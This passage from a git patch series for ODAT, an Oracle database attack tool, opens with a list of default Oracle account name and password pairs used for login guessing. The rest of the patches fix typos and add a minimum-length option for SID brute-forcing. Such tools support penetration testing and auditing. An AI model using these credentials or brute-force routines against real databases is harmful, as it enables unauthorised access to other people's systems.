+SYS/ORACLE +SYS/ORACLE8 +SYS/ORACLE8I +SYS/ORACLE9 +SYS/ORACLE9I +SYS/SYS +SYS/SYSPASS +SYSTEM/0RACL3 +SYSTEM/0RACL38 +SYSTEM/0RACL38I +SYSTEM/0RACL39 +SYSTEM/0RACL39I +SYSTEM/0RACLE +SYSTEM/0RACLE8 +SYSTEM/0RACLE8I +SYSTEM/0RACLE9 +SYSTEM/0RACLE9I +SYSTEM/CHANGE_ON_INSTALL +SYSTEM/D_SYSPW +SYSTEM/D_SYSTPW +SYSTEM/MANAG3R +SYSTEM/MANAGER +SYSTEM/ORACL3 +SYSTEM/ORACLE +SYSTEM/ORACLE8 +SYSTEM/ORACLE8I +SYSTEM/ORACLE9 +SYSTEM/ORACLE9I SYSTEM/SYSTEM +SYSTEM/SYSTEMPASS SYSTEM/welcome1 +SYSTEM/oracle TAHITI/TAHITI TALBOT/MT6CH5 TDOS_ICSAP/TDOS_ICSAP @@ -451,7 +559,9 @@ VIDEOUSER/VIDEOUSER VIF_DEVELOPER/VIF_DEV_PWD VIRUSER/VIRUSER VPD_ADMIN/AKF7D98S2 +VRR1/UNKNOWN VRR1/VRR1 +VRR1/VRR2 WEBCAL01/WEBCAL01 WEBDB/WEBDB WEBREAD/WEBREAD @@ -465,6 +575,10 @@ WIRELESS/ WKADMIN/WKADMIN WKPROXY/CHANGE_ON_INSTALL WK_PROXY/ +WKPROXY/UNKNOWN +WKPROXY/WKPROXY +WKSYS/CHANGE_ON_INSTALL +WK_SYS/ WKSYS/WKSYS WK_TEST/WK_TEST WKUSER/WKUSER @@ -477,6 +591,7 @@ WSM/WSM WWWUSER/WWWUSER WWW/WWW XADEMO/XADEMO +XDB/CHANGE_ON_INSTALL XDB/XDB XDP/XDP XLA/XLA @@ -487,3 +602,4 @@ XNP/XNP XNS/XNS XPRT/XPRT XTR/XTR +SYS/oracle From 573a0313c7563ac2e8e3b2f206aa2cba641c66e4 Mon Sep 17 00:00:00 2001 From: Lexus89 Date: Thu, 19 Nov 2015 11:47:56 -0800 Subject: [PATCH 79/83] Update odat.py --- odat.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/odat.py b/odat.py index f8c0c0a..8cb119b 100755 --- a/odat.py +++ b/odat.py @@ -80,8 +80,8 @@ def runAllModules(args): else : validSIDsList = [args['sid']] #B)ACCOUNT MANAGEMENT - if args['credentielsFile'] == True : - logging.debug("Loading credentiels stored in the {0} file".format(args['accounts-file'])) + if args['credentialsFile'] == True : + logging.debug("Loading credentials stored in the {0} file".format(args['accounts-file'])) #Load accounts from file passwordGuesser = PasswordGuesser(args, args['accounts-file']) validAccountsList = passwordGuesser.getAccountsFromFile() @@ -225,7 +225,7 @@ def main(): #1.3- Parent parser: all option PPallModule = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPallModule._optionals.title = "all module options" - PPallModule.add_argument('-C', dest='credentielsFile', action='store_true', required=False, default=False, help='use credentiels stored in the --accounts-file file (disable -P and -U)') + PPallModule.add_argument('-C', dest='credentialsFile', action='store_true', required=False, default=False, help='use credentials stored in the --accounts-file file (disable -P and -U)') PPallModule.add_argument('--no-tns-poisoning-check', dest='no-tns-poisoning-check', action='store_true', required=False, default=False, help="don't check if target is vulnreable to TNS poisoning") #1.3- Parent parser: TNS cmd PPTnsCmd = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) From d2b2948cdc502274fb77fe598d6c07a660778b04 Mon Sep 17 00:00:00 2001 From: Lexus89 Date: Thu, 19 Nov 2015 11:51:38 -0800 Subject: [PATCH 80/83] Update odat.py --- odat.py | 1 + 1 file changed, 1 insertion(+) diff --git a/odat.py b/odat.py index 8cb119b..1a48c5d 100755 --- a/odat.py +++ b/odat.py @@ -237,6 +237,7 @@ def main(): #1.3- Parent parser: SID Guesser PPsidguesser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPsidguesser._optionals.title = "SID guesser options" + PPsidguesser.add_argument('--sids-min-size',dest='sids-min-size',required=False, type=int, default=DEFAULT_SID_MIN_SIZE, help='minimum size of SIDs for the bruteforce (default: %(default)s)') PPsidguesser.add_argument('--sids-max-size',dest='sids-max-size',required=False, type=int, default=DEFAULT_SID_MAX_SIZE, help='maximum size of SIDs for the bruteforce (default: %(default)s)') PPsidguesser.add_argument('--sid-charset',dest='sid-charset',required=False, default=DEFAULT_SID_CHARSET, help='charset for the sid bruteforce (default: %(default)s)') PPsidguesser.add_argument('--sids-file',dest='sids-file',required=False,metavar="FILE",default=DEFAULT_SID_FILE, help='file containing SIDs (default: %(default)s)') From 6f37771b8d3f39b6b3e36e0b08f1a2d3cdf8f843 Mon Sep 17 00:00:00 2001 From: Lexus89 Date: Thu, 19 Nov 2015 11:57:33 -0800 Subject: [PATCH 81/83] Update SIDGuesser.py --- SIDGuesser.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SIDGuesser.py b/SIDGuesser.py index d9e427c..016e23d 100644 --- a/SIDGuesser.py +++ b/SIDGuesser.py @@ -133,7 +133,7 @@ def runSIDGuesserModule(args): sIDGuesser = SIDGuesser(args,args['sids-file'],timeSleep=args['timeSleep']) if args['no-alias-like-sid'] == False : sIDGuesser.loadSidsFromListenerAlias() sIDGuesser.searchKnownSIDs() - for aSIDSize in range(1, args['sids-max-size']+1): + for aSIDSize in range(args['sids-min-size'], args['sids-max-size']+1): sIDGuesser.bruteforceSIDs(size=aSIDSize, charset=args['sid-charset']) validSIDsList = sIDGuesser.getValidSIDs() if validSIDsList == []: From 66471a2ea163c1f09884904817ad564af0e0b9d1 Mon Sep 17 00:00:00 2001 From: Lexus89 Date: Thu, 19 Nov 2015 11:58:27 -0800 Subject: [PATCH 82/83] Update Constants.py --- Constants.py | 1 + 1 file changed, 1 insertion(+) diff --git a/Constants.py b/Constants.py index 1876691..9f7d118 100644 --- a/Constants.py +++ b/Constants.py @@ -17,6 +17,7 @@ By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) """ CURRENT_VERSION = "Version 1.6 - 2015/07/14" +DEFAULT_SID_MIN_SIZE = 1 DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=60 DEFAULT_SID_FILE = "sids.txt" From 558d072f2377f71a7a3f3c00b37843af0a1a22c6 Mon Sep 17 00:00:00 2001 From: Lexus89 Date: Thu, 19 Nov 2015 12:07:12 -0800 Subject: [PATCH 83/83] Update Utils.py --- Utils.py | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/Utils.py b/Utils.py index 2c40ce0..2fa95de 100644 --- a/Utils.py +++ b/Utils.py @@ -113,13 +113,13 @@ def configureLogging(args): def execSystemCmd (cmd): ''' - Execute a commande with popen + Execute a command with popen Return None if an error ''' p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True, shell=True) stdout, stderr = p.communicate() if stderr != "" : - logging.error("Problem when execuritng the command \'{0}\':\n{1}".format(cmd, stderr[:-1])) + logging.error("Problem when executing the command \'{0}\':\n{1}".format(cmd, stderr[:-1])) return None else : if stdout != "" : @@ -132,9 +132,9 @@ def execSystemCmd (cmd): def anAccountIsGiven (args): ''' return True if an account is given in args - Otehrwise, return False - - oeprations muste be a list - - args must be a dictionnary + Otherwise, return False + - operations must be a list + - args must be a dictionary ''' if (args.has_key('user') ==False or args.has_key('password') == False) or (args['user'] == None and args['password'] == None): logging.critical("You must give a valid account with the '-U username' option and the '-P password' option.") @@ -143,17 +143,17 @@ def anAccountIsGiven (args): logging.critical("You must give a valid account with the '-P password' option.") return False elif args['user'] == None and args['password'] != None: - logging.critical("You must give a valid username thanks to the '-U username' option.") + logging.critical("You must give a valid username with the '-U username' option.") return False else : return True def anOperationHasBeenChosen(args, operations): ''' - Return True if an operation has been choosing. + Return True if an operation has been chosen. Otherwise return False - - oeprations muste be a list - - args must be a dictionnary + - operations must be a list + - args must be a dictionary ''' for key in operations: if args.has_key(key) == True: @@ -167,10 +167,10 @@ def ipOrNameServerHasBeenGiven(args): ''' Return True if an ip or name server has been given Otherwise return False - - args must be a dictionnary + - args must be a dictionary ''' if args.has_key('server') == False or args['server'] == None: - logging.critical("The server addess must be given thanks to the '-s IPadress' option.") + logging.critical("The server address must be given with the '-s IPadress' option.") return False else : try: @@ -188,10 +188,10 @@ def sidHasBeenGiven(args): ''' Return True if an ip has been given Otherwise return False - - args must be a dictionnary + - args must be a dictionary ''' if args.has_key('sid') == False or args['sid'] == None: - logging.critical("The server SID must be given thanks to the '-d SID' option.") + logging.critical("The server SID must be given with the '-d SID' option.") return False return True @@ -200,7 +200,7 @@ def checkOptionsGivenByTheUser(args,operationsAllowed,checkAccount=True): Return True if all options are OK Otherwise return False - args: list - - operationsAllowed : opertaions allowed with this module + - operationsAllowed : operations allowed with this module ''' if ipOrNameServerHasBeenGiven(args) == False : return False elif sidHasBeenGiven(args) == False : return False